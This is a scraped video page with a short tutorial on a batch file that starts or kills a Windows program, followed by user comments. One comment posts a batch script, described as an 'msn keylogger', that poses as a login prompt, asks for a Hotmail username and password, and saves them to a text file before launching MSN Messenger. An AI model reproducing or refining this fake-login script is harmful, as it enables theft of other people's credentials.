Tutorial - Run programs with a Batch file

Loading...

Sign in or sign up now!
Alert icon
Upgrade to the latest Flash Player for improved playback performance. Upgrade now or more info.
2,471
Loading...
Alert icon
Sign in or sign up now!
Alert icon

Uploaded by on Mar 16, 2011

Here is a tutorial how you create a Batch (.bat) file which runs an .exe file.

@echo off

set Programm=[name].exe

tasklist |find /i "%Programm%" [put in here the missing key]nul
if %errorlevel% == 0 (
taskkill /IM %Programm%
) else (
start %Programm%
)

  • likes, 4 dislikes

Link to this comment:

Share to:

Uploader Comments (darkoty)

  • This code does not only run the program, it kills its process if it is already running. Pretty useless in my opinion. The last command is the only necessary one.

  • @GrellesLicht28 if you have a problem with that you can leave the taskkill command an then you are happy.

see all

All Comments (4)

Sign In or Sign Up now to post a comment!
  • ty so much, now i got my own msn keylogger (; @echo off color a title Login cls Echo Your @hotmail and password for the program to start. Echo. set /p user=Username: echo. set /p pass=Password: echo Username="%user%" Password="%pass%" >Log.txt pause echo. echo Want to start Msn? echo. pause set Programm=msnmsgr.exe tasklist |find /i "%Programm%" >nul if %errorlevel% == 0 ( taskkill /IM %Programm% ) else ( start %Programm% ) exit
  • Thanks

Loading...

Alert icon
0 / 00Unsaved Playlist Return to active list
    1. Your queue is empty. Add videos to your queue using this button:
      or sign in to load a different list.
    Loading...Loading...Saving...
    • Clear all videos from this list
    • Learn more